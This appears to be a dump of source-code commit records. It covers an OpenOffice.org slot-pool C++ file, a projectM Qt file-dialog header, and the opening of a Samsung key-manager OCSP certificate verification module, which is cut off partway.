_pGroups->Count();\n}\n\n\n\/\/--------------------------------------------------------------------\n\n\/\/ internal search loop\n\nconst SfxSlot* SfxSlotPool::SeekSlot( USHORT nStartInterface )\n{\n    DBG_MEMTEST();\n    DBG_ASSERT( _pInterfaces != 0, \"no Interfaces registered\" );\n\n    \/\/ Die Numerierung der interfaces startet beim parent pool\n    USHORT nFirstInterface = _pParentPool ? _pParentPool->_pInterfaces->Count() : 0;\n\n    \/\/ sind wir am Ende des Parent-Pools angekommen?\n    if ( nStartInterface < nFirstInterface &&\n         _pParentPool->_nCurGroup >= _pParentPool->_pGroups->Count() )\n        nStartInterface = nFirstInterface;\n\n    \/\/ liegt das Interface noch im Parent-Pool?\n    if ( nStartInterface < nFirstInterface )\n    {\n        DBG_ASSERT( _pParentPool, \"Kein parent pool!\" );\n        _nCurInterface = nStartInterface;\n        return _pParentPool->SeekSlot( nStartInterface );\n    }\n\n    \/\/ find the first func-def with the current group id\n    USHORT nCount = _pInterfaces->Count() + nFirstInterface;\n    for ( _nCurInterface = nStartInterface;\n            _nCurInterface < nCount;\n          ++_nCurInterface )\n    {\n        SfxInterface* pInterface = (*_pInterfaces)[_nCurInterface-nFirstInterface];\n        for ( _nCurMsg = 0;\n              _nCurMsg < pInterface->Count();\n              ++_nCurMsg )\n        {\n            const SfxSlot* pMsg = (*pInterface)[_nCurMsg];\n            if ( pMsg->GetGroupId() == _pGroups->GetObject(_nCurGroup) )\n                return pMsg;\n        }\n    }\n\n    return 0;\n}\n\n\/\/--------------------------------------------------------------------\n\n\/\/ skips to the next func in the current group\n\nconst SfxSlot* SfxSlotPool::NextSlot()\n{\n    DBG_MEMTEST();\n    DBG_ASSERT( _pInterfaces != 0, \"no Interfaces registered\" );\n\n    \/\/ Die Numerierung der interfaces startet beim parent pool\n    USHORT nFirstInterface = _pParentPool ? _pParentPool->_pInterfaces->Count() : 0;\n\n    if ( _nCurInterface < nFirstInterface && _nCurGroup >= _pParentPool->_pGroups->Count() )\n        _nCurInterface = nFirstInterface;\n\n    if ( _nCurInterface < nFirstInterface )\n    {\n        DBG_ASSERT( _pParentPool, \"Kein parent pool!\" );\n        const SfxSlot *pSlot = _pParentPool->NextSlot();\n        _nCurInterface = _pParentPool->_nCurInterface;\n        if ( pSlot )\n            return pSlot;\n        if ( _nCurInterface == nFirstInterface )\n            \/\/ parent pool ist fertig\n            return SeekSlot( nFirstInterface );\n    }\n\n    USHORT nInterface = _nCurInterface - nFirstInterface;\n    \/\/ possibly we are already at the end\n    if ( nInterface >= _pInterfaces->Count() )\n        return 0;\n\n    \/\/ look for further matching func-defs within the same Interface\n    SfxInterface* pInterface = (*_pInterfaces)[nInterface];\n    while ( ++_nCurMsg < pInterface->Count() )\n    {\n        SfxSlot* pMsg = (*pInterface)[_nCurMsg];\n        if ( pMsg->GetGroupId() == _pGroups->GetObject(_nCurGroup) )\n            return pMsg;\n    }\n\n    return SeekSlot(++_nCurInterface );\n}\n\n\n\/\/--------------------------------------------------------------------\n\n\/\/ SlotName erfragen, gfs. mit HilfeText\n\n\/\/--------------------------------------------------------------------\n\nSfxInterface* SfxSlotPool::FirstInterface()\n{\n    _nCurInterface = 0;\n    if ( !_pInterfaces || !_pInterfaces->Count() )\n        return 0;\n    return _pParentPool ? _pParentPool->FirstInterface() : (*_pInterfaces)[0];\n}\n\n\n\/\/--------------------------------------------------------------------\n\nSfxInterface* SfxSlotPool::NextInterface()\n{\n    _nCurInterface++;\n    USHORT nFirstInterface = _pParentPool ? _pParentPool->_pInterfaces->Count() : 0;\n    if ( _nCurInterface < nFirstInterface )\n        return (*_pParentPool->_pInterfaces)[_nCurInterface];\n    USHORT nInterface = _nCurInterface - nFirstInterface;\n    return nInterface < _pInterfaces->Count() ? (*_pInterfaces)[nInterface] : 0;\n}\n\nconst SfxSlot* SfxSlotPool::GetUnoSlot( const String& rName )\n{\n    const SfxSlot *pSlot = NULL;\n    for ( USHORT nInterface=0; nInterface<_pInterfaces->Count(); nInterface++ )\n    {\n        pSlot = (*_pInterfaces)[nInterface]->GetSlot( rName );\n        if ( pSlot )\n            break;\n    }\n\n    if ( !pSlot && _pParentPool )\n        pSlot = _pParentPool->GetUnoSlot( rName );\n\n    return pSlot;\n}\n\nSfxSlotPool& SfxSlotPool::GetSlotPool( SfxViewFrame *pFrame )\n{\n    SfxModule *pMod = SfxModule::GetActiveModule( pFrame );\n    if ( pMod && pMod->GetSlotPool() )\n        return *pMod->GetSlotPool();\n    else\n        return *SFX_APP()->Get_Impl()->pSlotPool;\n}\n\n\n<commit_msg>INTEGRATION: CWS pchfix02 (1.9.88); FILE MERGED 2006\/09\/01 17:38:30 kaib 1.9.88.1: #i68856# Added header markers and pch files<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: msgpool.cxx,v $\n *\n *  $Revision: 1.10 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-17 16:27:31 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sfx2.hxx\"\n\n#ifndef _STREAM_HXX \/\/autogen\n#include <tools\/stream.hxx>\n#endif\n#ifndef _RSCSFX_HXX \/\/autogen\n#include <rsc\/rscsfx.hxx>\n#endif\n#ifndef GCC\n#endif\n\n\/\/ wg. pSlotPool\n#include \"appdata.hxx\"\n#include \"msgpool.hxx\"\n#include \"minarray.hxx\"\n#include \"msg.hxx\"\n#include \"app.hxx\"\n#include \"objface.hxx\"\n#include \"sfxtypes.hxx\"\n#include \"macrconf.hxx\"\n#include \"sfxresid.hxx\"\n#include \"arrdecl.hxx\"\n#include \"module.hxx\"\n\n#include \"sfx.hrc\"\n\n\/\/====================================================================\n\nstruct SfxSIDRegistration_Impl\n{\n    String          _aGroup;\n    String          _aName;\n    USHORT          _nSID;\n};\n\nstruct SfxSlotType_Impl\n{\n    USHORT  nId;\n    TypeId  nType;\n\n    SfxSlotType_Impl( USHORT nTheId, TypeId nTheType ):\n        nId(nTheId), nType(nTheType)\n    {}\n};\n\nDECL_2BYTEARRAY(SfxSlotGroupArr_Impl, USHORT, 6, 4)\nDECL_PTRARRAY(SfxInterfaceArr_Impl, SfxInterface*, 6, 3)\nDECL_PTRARRAY(SfxSlotTypeArr_Impl, SfxSlotType_Impl*, 8, 8)\n\n\n\/\/====================================================================\n\nSfxSlotPool::SfxSlotPool( SfxSlotPool *pParent, ResMgr* pResManager )\n : _pGroups(0)\n , _pTypes(0)\n , _pParentPool( pParent )\n , _pResMgr( pResManager )\n , _pInterfaces(0)\n , _nCurGroup(0)\n , _nCurInterface(0)\n , _nCurMsg(0)\n , _pUnoSlots( 0 )\n{\n    if ( !_pResMgr )\n        _pResMgr = Resource::GetResManager();\n}\n\n\/\/====================================================================\n\nSfxSlotPool::~SfxSlotPool()\n{\n    _pParentPool = 0;\n    for ( SfxInterface *pIF = FirstInterface(); pIF; pIF = FirstInterface() )\n        delete pIF;\n    delete _pInterfaces;\n    delete _pGroups;\n    if ( _pTypes )\n    {\n        for ( USHORT n =_pTypes->Count(); n--; )\n            delete _pTypes->GetObject(n);\n        delete _pTypes;\n    }\n}\n\n\/\/====================================================================\n\n\/\/ registers the availability of the Interface of functions\n\nvoid SfxSlotPool::RegisterInterface( SfxInterface& rInterface )\n{\n    DBG_MEMTEST();\n\n    \/\/ add to the list of SfxObjectInterface instances\n    if ( _pInterfaces == 0 )\n        _pInterfaces = new SfxInterfaceArr_Impl;\n    _pInterfaces->Append(&rInterface);\n\n    \/\/ bei einem (einzelnen) Null-Slot abbrechen (aus syntaktischen Gr\"unden\n    \/\/ enthalten interfaces immer mindestens einen Slot)\n    if ( rInterface.Count() == 1 && !rInterface[0]->nSlotId )\n        return;\n\n    \/\/ possibly add Interface-id and group-ids of funcs to the list of groups\n    if ( !_pGroups )\n    {\n        _pGroups = new SfxSlotGroupArr_Impl;\n\n        if ( _pParentPool )\n        {\n            \/\/ Die Groups im parent Slotpool sind auch hier bekannt\n            SfxSlotGroupArr_Impl& rGroups = *_pParentPool->_pGroups;\n            for ( USHORT n=0; n<rGroups.Count(); n++ )\n                _pGroups->Append( rGroups[n] );\n        }\n    }\n\n    if ( !_pTypes )\n        _pTypes = new SfxSlotTypeArr_Impl;\n    for ( USHORT nFunc = 0; nFunc < rInterface.Count(); ++nFunc )\n    {\n        SfxSlot *pDef = rInterface[nFunc];\n        if ( pDef->GetGroupId() && \/* pDef->GetGroupId() != GID_INTERN && *\/\n             !_pGroups->Contains(pDef->GetGroupId()) )\n        {\n            if (pDef->GetGroupId() == GID_INTERN)\n                _pGroups->Insert(0, pDef->GetGroupId());\n            else\n                _pGroups->Append(pDef->GetGroupId());\n        }\n#if 0\n        const TypeId &rTypeId = pDef->GetType()->Type();\n        if ( \/*rTypeId != TYPE(SfxVoidItem) &&*\/ rTypeId != 0 )\n        {\n            USHORT nPos;\n            for ( nPos = 0; nPos < _pTypes->Count(); ++nPos )\n            {\n                if ( _pTypes->GetObject(nPos)->nId == pDef->GetSlotId() )\n                {\n                    DBG_ASSERT( rTypeId == _pTypes->GetObject(nPos)->nType,\n                                \"same slot id with unequal item types\" );\n                }\n                else if ( _pTypes->GetObject(nPos)->nId > pDef->GetSlotId() )\n                    break;\n            }\n            if ( nPos >= _pTypes->Count() ||\n                 _pTypes->GetObject(nPos)->nId > pDef->GetSlotId() )\n                _pTypes->Append( new SfxSlotType_Impl( pDef->GetSlotId(), rTypeId ) );\n        }\n#endif\n    }\n}\n\n\/\/====================================================================\n\nTypeId SfxSlotPool::GetSlotType( USHORT nId ) const\n{\n    const SfxSlot* pSlot = (const_cast <SfxSlotPool*> (this))->GetSlot( nId );\n    return pSlot ? pSlot->GetType()->Type() : 0;\n\/*\n    for ( USHORT nPos = 0; nPos < _pTypes->Count(); ++nPos )\n    {\n        if ( _pTypes->GetObject(nPos)->nId == nId )\n            return _pTypes->GetObject(nPos)->nType;\n    }\n    return _pParentPool ? _pParentPool->GetSlotType( nId ) : 0;\n *\/\n}\n\n\/\/====================================================================\n\n\/\/ unregisters the availability of the Interface of functions\n\nvoid SfxSlotPool::ReleaseInterface( SfxInterface& rInterface )\n{\n    DBG_MEMTEST();\n    DBG_ASSERT( _pInterfaces, \"releasing SfxInterface, but there are none\" );\n    \/\/ remove from the list of SfxInterface instances\n    _pInterfaces->Remove(&rInterface);\n}\n\n\/\/--------------------------------------------------------------------\n\n\/\/ get the first SfxMessage for a special Id (e.g. for getting check-mode)\n\nconst SfxSlot* SfxSlotPool::GetSlot( USHORT nId )\n{\n    DBG_MEMTEST();\n    DBG_ASSERT( _pInterfaces != 0, \"no Interfaces registered\" );\n\n    \/\/ Zun\"achst die eigenen Interfaces absuchen\n    for ( USHORT nInterf = 0; nInterf < _pInterfaces->Count(); ++nInterf )\n    {\n        const SfxSlot *pDef = _pInterfaces->GetObject(nInterf)->GetSlot(nId);\n        if ( pDef )\n            return pDef;\n    }\n\n    \/\/ Dann beim eventuell vorhandenen parent versuchen\n    return _pParentPool ? _pParentPool->GetSlot( nId ) : 0;\n}\n\n\/\/--------------------------------------------------------------------\n\n\/\/ skips to the next group\n\nString SfxSlotPool::SeekGroup( USHORT nNo )\n{\n    DBG_MEMTEST();\n    DBG_ASSERT( _pInterfaces != 0, \"no Interfaces registered\" );\n\n    \/\/ if the group exists, use it\n    if ( _pGroups && nNo < _pGroups->Count() )\n    {\n        _nCurGroup = nNo;\n        if ( _pParentPool )\n        {\n            \/\/ Meistens stimmt die Reihenfolge der Ids \"uberein\n            USHORT nParentCount = _pParentPool->_pGroups->Count();\n            if ( nNo < nParentCount && (*_pGroups)[nNo] == (*_pParentPool->_pGroups)[nNo] )\n                _pParentPool->_nCurGroup = nNo;\n            else\n            {\n                \/\/ Ansonsten mu\\s gesucht werden\n                \/\/ Wenn die Gruppe im parent pool nicht gefunden wird, wird\n                \/\/ _nCurGroup au\\serhalb des g\"ultigen Bereiches gesetzt\n                USHORT i;\n                for ( i=1; i<nParentCount; i++ )\n                    if ( (*_pGroups)[nNo] == (*_pParentPool->_pGroups)[i] )\n                        break;\n                _pParentPool->_nCurGroup = i;\n            }\n        }\n\n        SfxResId aResId( (*_pGroups)[_nCurGroup] );\n        aResId.SetRT(RSC_STRING);\n        if ( !aResId.GetResMgr()->IsAvailable(aResId) )\n        {\n            DBG_ERROR( \"GroupId-Name nicht im SFX definiert!\" );\n            return String();\n        }\n\n        return String( aResId );\n    }\n\n    return String();\n}\n\n\n\/\/--------------------------------------------------------------------\n\nUSHORT SfxSlotPool::GetGroupCount()\n{\n    return _pGroups->Count();\n}\n\n\n\/\/--------------------------------------------------------------------\n\n\/\/ internal search loop\n\nconst SfxSlot* SfxSlotPool::SeekSlot( USHORT nStartInterface )\n{\n    DBG_MEMTEST();\n    DBG_ASSERT( _pInterfaces != 0, \"no Interfaces registered\" );\n\n    \/\/ Die Numerierung der interfaces startet beim parent pool\n    USHORT nFirstInterface = _pParentPool ? _pParentPool->_pInterfaces->Count() : 0;\n\n    \/\/ sind wir am Ende des Parent-Pools angekommen?\n    if ( nStartInterface < nFirstInterface &&\n         _pParentPool->_nCurGroup >= _pParentPool->_pGroups->Count() )\n        nStartInterface = nFirstInterface;\n\n    \/\/ liegt das Interface noch im Parent-Pool?\n    if ( nStartInterface < nFirstInterface )\n    {\n        DBG_ASSERT( _pParentPool, \"Kein parent pool!\" );\n        _nCurInterface = nStartInterface;\n        return _pParentPool->SeekSlot( nStartInterface );\n    }\n\n    \/\/ find the first func-def with the current group id\n    USHORT nCount = _pInterfaces->Count() + nFirstInterface;\n    for ( _nCurInterface = nStartInterface;\n            _nCurInterface < nCount;\n          ++_nCurInterface )\n    {\n        SfxInterface* pInterface = (*_pInterfaces)[_nCurInterface-nFirstInterface];\n        for ( _nCurMsg = 0;\n              _nCurMsg < pInterface->Count();\n              ++_nCurMsg )\n        {\n            const SfxSlot* pMsg = (*pInterface)[_nCurMsg];\n            if ( pMsg->GetGroupId() == _pGroups->GetObject(_nCurGroup) )\n                return pMsg;\n        }\n    }\n\n    return 0;\n}\n\n\/\/--------------------------------------------------------------------\n\n\/\/ skips to the next func in the current group\n\nconst SfxSlot* SfxSlotPool::NextSlot()\n{\n    DBG_MEMTEST();\n    DBG_ASSERT( _pInterfaces != 0, \"no Interfaces registered\" );\n\n    \/\/ Die Numerierung der interfaces startet beim parent pool\n    USHORT nFirstInterface = _pParentPool ? _pParentPool->_pInterfaces->Count() : 0;\n\n    if ( _nCurInterface < nFirstInterface && _nCurGroup >= _pParentPool->_pGroups->Count() )\n        _nCurInterface = nFirstInterface;\n\n    if ( _nCurInterface < nFirstInterface )\n    {\n        DBG_ASSERT( _pParentPool, \"Kein parent pool!\" );\n        const SfxSlot *pSlot = _pParentPool->NextSlot();\n        _nCurInterface = _pParentPool->_nCurInterface;\n        if ( pSlot )\n            return pSlot;\n        if ( _nCurInterface == nFirstInterface )\n            \/\/ parent pool ist fertig\n            return SeekSlot( nFirstInterface );\n    }\n\n    USHORT nInterface = _nCurInterface - nFirstInterface;\n    \/\/ possibly we are already at the end\n    if ( nInterface >= _pInterfaces->Count() )\n        return 0;\n\n    \/\/ look for further matching func-defs within the same Interface\n    SfxInterface* pInterface = (*_pInterfaces)[nInterface];\n    while ( ++_nCurMsg < pInterface->Count() )\n    {\n        SfxSlot* pMsg = (*pInterface)[_nCurMsg];\n        if ( pMsg->GetGroupId() == _pGroups->GetObject(_nCurGroup) )\n            return pMsg;\n    }\n\n    return SeekSlot(++_nCurInterface );\n}\n\n\n\/\/--------------------------------------------------------------------\n\n\/\/ SlotName erfragen, gfs. mit HilfeText\n\n\/\/--------------------------------------------------------------------\n\nSfxInterface* SfxSlotPool::FirstInterface()\n{\n    _nCurInterface = 0;\n    if ( !_pInterfaces || !_pInterfaces->Count() )\n        return 0;\n    return _pParentPool ? _pParentPool->FirstInterface() : (*_pInterfaces)[0];\n}\n\n\n\/\/--------------------------------------------------------------------\n\nSfxInterface* SfxSlotPool::NextInterface()\n{\n    _nCurInterface++;\n    USHORT nFirstInterface = _pParentPool ? _pParentPool->_pInterfaces->Count() : 0;\n    if ( _nCurInterface < nFirstInterface )\n        return (*_pParentPool->_pInterfaces)[_nCurInterface];\n    USHORT nInterface = _nCurInterface - nFirstInterface;\n    return nInterface < _pInterfaces->Count() ? (*_pInterfaces)[nInterface] : 0;\n}\n\nconst SfxSlot* SfxSlotPool::GetUnoSlot( const String& rName )\n{\n    const SfxSlot *pSlot = NULL;\n    for ( USHORT nInterface=0; nInterface<_pInterfaces->Count(); nInterface++ )\n    {\n        pSlot = (*_pInterfaces)[nInterface]->GetSlot( rName );\n        if ( pSlot )\n            break;\n    }\n\n    if ( !pSlot && _pParentPool )\n        pSlot = _pParentPool->GetUnoSlot( rName );\n\n    return pSlot;\n}\n\nSfxSlotPool& SfxSlotPool::GetSlotPool( SfxViewFrame *pFrame )\n{\n    SfxModule *pMod = SfxModule::GetActiveModule( pFrame );\n    if ( pMod && pMod->GetSlotPool() )\n        return *pMod->GetSlotPool();\n    else\n        return *SFX_APP()->Get_Impl()->pSlotPool;\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\n *   Copyright (C) 2007 by carm   *\n *   carm@localhost   *\n *                                                                         *\n *   This program is free software; you can redistribute it and\/or modify  *\n *   it under the terms of the GNU General Public License as published by  *\n *   the Free Software Foundation; either version 2 of the License, or     *\n *   (at your option) any later version.                                   *\n *                                                                         *\n *   This program is distributed in the hope that it will be useful,       *\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\n *   GNU General Public License for more details.                          *\n *                                                                         *\n *   You should have received a copy of the GNU General Public License     *\n *   along with this program; if not, write to the                         *\n *   Free Software Foundation, Inc.,                                       *\n *   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.             *\n ***************************************************************************\/\n\n\n#ifndef QPRESET_FILEDIALOG_H\n#define QPRESET_FILEDIALOG_H\n\n\n#define CONFIG_FILE \"\/share\/projectM\/config.inp\"\n\n#include <QMainWindow>\n#include <QCloseEvent>\n#include <cassert>\n#include \"libprojectM\/projectM.hpp\"\n\n#include <iostream>\n#include <QFileDialog>\n\n class QPresetFileDialog : public QFileDialog\n {\n     Q_OBJECT        \/\/ must include this if you use Qt signals\/slots\n\n public:\n     QPresetFileDialog(QWidget * parent = 0): \n\t\tQFileDialog(parent, \"Add preset files\", QString(), \"Presets (*.prjm *.milk)\" ) {\n\n\t\tthis->setFileMode(QFileDialog::ExistingFiles);\n\t}\n\t\n     ~QPresetFileDialog() { }\n private:\n\t\n\t\n};\n#endif\n<commit_msg>libprojectM\/projectM.hpp to projectM.hpp<commit_after>\/***************************************************************************\n *   Copyright (C) 2007 by carm   *\n *   carm@localhost   *\n *                                                                         *\n *   This program is free software; you can redistribute it and\/or modify  *\n *   it under the terms of the GNU General Public License as published by  *\n *   the Free Software Foundation; either version 2 of the License, or     *\n *   (at your option) any later version.                                   *\n *                                                                         *\n *   This program is distributed in the hope that it will be useful,       *\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\n *   GNU General Public License for more details.                          *\n *                                                                         *\n *   You should have received a copy of the GNU General Public License     *\n *   along with this program; if not, write to the                         *\n *   Free Software Foundation, Inc.,                                       *\n *   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.             *\n ***************************************************************************\/\n\n\n#ifndef QPRESET_FILEDIALOG_H\n#define QPRESET_FILEDIALOG_H\n\n\n#define CONFIG_FILE \"\/share\/projectM\/config.inp\"\n\n#include <QMainWindow>\n#include <QCloseEvent>\n#include <cassert>\n#include <projectM.hpp>\n\n#include <iostream>\n#include <QFileDialog>\n\n class QPresetFileDialog : public QFileDialog\n {\n     Q_OBJECT        \/\/ must include this if you use Qt signals\/slots\n\n public:\n     QPresetFileDialog(QWidget * parent = 0): \n\t\tQFileDialog(parent, \"Add preset files\", QString(), \"Presets (*.prjm *.milk)\" ) {\n\n\t\tthis->setFileMode(QFileDialog::ExistingFiles);\n\t}\n\t\n     ~QPresetFileDialog() { }\n private:\n\t\n\t\n};\n#endif\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Set outstanding RouteMod limit to 1 (from 10).<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n *  Copyright (c) 2014 Samsung Electronics Co.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License\n *\n *\n * @file        ocsp.cpp\n * @author      Dongsun Lee (ds73.lee@samsung.com)\n * @version     1.0\n * @brief       OCSP implementation.\n *\/\n\n#include <string>\n#include <ocsp.h>\n#include <openssl\/pem.h>\n#include <openssl\/ocsp.h>\n#include <openssl\/err.h>\n#include <openssl\/ssl.h>\n#include <fts.h>\n#include <unistd.h>\n#include <key-manager-util.h>\n#include <dpl\/log\/log.h>\n#include <certificate-impl.h>\n\n#include <ckm\/ckm-error.h>\n\n\/* Maximum leeway in validity period: default 5 minutes *\/\n#define MAX_VALIDITY_PERIOD     (5 * 60)\n\nnamespace CKM {\n\nnamespace {\ntypedef std::unique_ptr<BIO, std::function<void(BIO*)>> BioUniquePtr;\n\nvoid BIO_write_and_free(BIO* bio) {\n    if (!bio)\n        return;\n\n    std::vector<char> message(1024);\n    int size = BIO_read(bio, message.data(), message.size());\n    if (size > 0) {\n        message.resize(size);\n        LogError(\"OCSP error description:\" << std::string(message.begin(), message.end()));\n    }\n\n    BIO_free_all(bio);\n}\n\n} \/\/ namespace anonymous\n\nOCSPModule::OCSPModule() {\n    \/\/ Do nothing.\n}\n\nOCSPModule::~OCSPModule(){\n    \/\/ Do nothing.\n}\n\nint OCSPModule::verify(const CertificateImplVector &certificateChain) {\n    bool unsupported = false; \/\/ ocsp is unsupported in certificate in chain (except root CA)\n\n    if((systemCerts = loadSystemCerts(CKM_SYSTEM_CERTS_PATH)) == NULL) {\n        LogError(\"Error in loadSystemCerts function\");\n        return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n    }\n\n    for(unsigned int i=0; i < certificateChain.size() -1; i++) {\/\/ except root certificate\n        if (certificateChain[i].empty() || certificateChain[i+1].empty()) {\n            LogError(\"Error. Broken certificate chain.\");\n            return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n        }\n\n        X509 *cert   = certificateChain[i].getX509();\n        X509 *issuer = certificateChain[i+1].getX509();\n        std::string url = certificateChain[i].getOCSPURL();\n\n        if (url.empty()) {\n            LogError(\"Certificate in certchain[\" << i << \"] does not provide OCSP extension.\");\n            unsupported = true;\n            continue;\n        }\n\n        int result = ocsp_verify(cert, issuer, systemCerts, url);\n\n        if(result != CKM_API_OCSP_STATUS_GOOD) {\n            LogError(\"Fail to OCSP certification check. Errorcode=[\" << result <<\n                \"], on certChain[\" << i << \"]\");\n            return result;\n        }\n    }\n\n    if (unsupported)\n        return CKM_API_OCSP_STATUS_UNSUPPORTED;\n\n    return CKM_API_OCSP_STATUS_GOOD;\n}\n\nint OCSPModule::ocsp_verify(X509 *cert, X509 *issuer, STACK_OF(X509) *systemCerts, const std::string &constUrl) {\n    OCSP_REQUEST *req = NULL;\n    OCSP_RESPONSE *resp = NULL;\n    OCSP_BASICRESP *bs = NULL;\n    OCSP_CERTID *certid = NULL;\n    BIO *cbio = NULL;\n    SSL_CTX *use_ssl_ctx = NULL;\n    char *host = NULL, *port = NULL, *path = NULL;\n    ASN1_GENERALIZEDTIME *rev = NULL;\n    ASN1_GENERALIZEDTIME *thisupd = NULL;\n    ASN1_GENERALIZEDTIME *nextupd = NULL;\n    int use_ssl = 0;\n    int ocspStatus = -1;\n    int i = 0 ,tmpIdx = 0;\n    long nsec = MAX_VALIDITY_PERIOD, maxage = -1;\n    char subj_buf[256];\n    int reason = 0;\n    \/\/    const char *reason_str = NULL;0\n    X509_STORE *trustedStore=NULL;\n    BioUniquePtr bioLogger(BIO_new(BIO_s_mem()), BIO_write_and_free);\n\n    std::vector<char> url(constUrl.begin(), constUrl.end());\n\n    if (!OCSP_parse_url(url.data(), &host, &port, &path, &use_ssl)) {\n        \/* report error *\/\n        return CKM_API_OCSP_STATUS_INVALID_URL;\n    }\n\n    LogDebug(\"Host: \" << host);\n    LogDebug(\"Port: \" << port);\n    LogDebug(\"Path: \" << path);\n    LogDebug(\"Use_ssl: \" << use_ssl);\n\n    cbio = BIO_new_connect(host);\n    if (cbio == NULL) {\n        \/*BIO_printf(bio_err, \"Error creating connect BIO\\n\");*\/\n        \/* report error *\/\n        return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n    }\n\n\tif (port != NULL) {\n\t\tBIO_set_conn_port(cbio, port);\n    }\n\n    if (use_ssl == 1) {\n        BIO *sbio = NULL;\n        use_ssl_ctx = SSL_CTX_new(SSLv23_client_method());\n        if (use_ssl_ctx == NULL) {\n            \/* report error *\/\n            return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n        }\n\n        SSL_CTX_set_mode(use_ssl_ctx, SSL_MODE_AUTO_RETRY);\n        sbio = BIO_new_ssl(use_ssl_ctx, 1);\n        if (sbio == NULL) {\n            \/* report error *\/\n            return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n        }\n\n        cbio = BIO_push(sbio, cbio);\n        if (cbio == NULL) {\n            \/* report error *\/\n            return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n        }\n    }\n\n    if (BIO_do_connect(cbio) <= 0) {\n        LogDebug(\"Error in BIO_do_connect.\");\n        ERR_print_errors(bioLogger.get());\n        \/* report error *\/\n\n        \/* free stuff *\/\n        if (host != NULL) {\n            OPENSSL_free(host);\n        }\n\n        if (port != NULL) {\n            OPENSSL_free(port);\n        }\n\n        if (path != NULL) {\n            OPENSSL_free(path);\n        }\n        host = port = path = NULL;\n\n        if (use_ssl && use_ssl_ctx) {\n            SSL_CTX_free(use_ssl_ctx);\n        }\n        use_ssl_ctx = NULL;\n\n        if (cbio != NULL) {\n            BIO_free_all(cbio);\n        }\n        cbio = NULL;\n\n        return CKM_API_OCSP_STATUS_NET_ERROR;\n    }\n\n    req = OCSP_REQUEST_new();\n\n    if(req == NULL) {\n        LogDebug(\"Error in OCPS_REQUEST_new\");\n        return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n    }\n    certid = OCSP_cert_to_id(NULL, cert, issuer);\n    if(certid == NULL)  {\n        LogDebug(\"Error in OCSP_cert_to_id\");\n        return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n    }\n\n    if(OCSP_request_add0_id(req, certid) == NULL) {\n        LogDebug(\"Error in OCSP_request_add0_id\");\n        return CKM_API_OCSP_STATUS_INTERNAL_ERROR;\n    }\n\n    resp = OCSP_sendreq_bio(cbio, path, req);\n\n    \/* free some stuff we no longer need *\/\n    if (host != NULL) {\n        OPENSSL_free(host);\n    }\n\n    if (port != NULL) {\n        OPENSSL_free(port);\n    }\n\n    if (path != NULL) {\n        OPENSSL_free(path);\n    }\n    host = port = path = NULL;\n\n    if (use_ssl && use_ssl_ctx) {\n        SSL_CTX_free(use_ssl_ctx);\n    }\n    use_ssl_ctx = NULL;\n\n    if (cbio != NULL) {\n        BIO_free_all(cbio);\n    }\n    cbio = NULL;\n\n    if (!resp) {\n        \/*BIO_printf(bio_err, \"Error querying OCSP responsder\\n\");*\/\n        \/* report error *\/\n        \/* free stuff *\/\n        OCSP_REQUEST_free(req);\n        return CKM_API_OCSP_STATUS_NET_ERROR;\n    }\n\n    i = OCSP_response_status(resp);\n\n    if (i != OCSP_RESPONSE_STATUS_SUCCESSFUL) {\n        \/* report error *\/\n        ERR_print_errors(bioLogger.get());\n        \/* free stuff *\/\n        OCSP_REQUEST_free(req);\n        OCSP_RESPONSE_free(resp);\n        return CKM_API_OCSP_STATUS_REMOTE_ERROR;\n    }\n\n    bs = OCSP_response_get1_basic(resp);\n    if (!bs) {\n        \/* report error *\/\n        ERR_print_errors(bioLogger.get());\n        \/* free stuff *\/\n        OCSP_REQUEST_free(req);\n        OCSP_RESPONSE_free(resp);\n\n        LogDebug(\"Error in OCSP_response_get1_basic\");\n        return CKM_API_OCSP_STATUS_INVALID_RESPONSE;\n    }\n\n    if(systemCerts != NULL) {\n        trustedStore = X509_STORE_new();\n        for(tmpIdx=0; tmpIdx<sk_X509_num(systemCerts); tmpIdx++) {\n            X509_STORE_add_cert(trustedStore, sk_X509_value(systemCerts, tmpIdx));\n        }\n        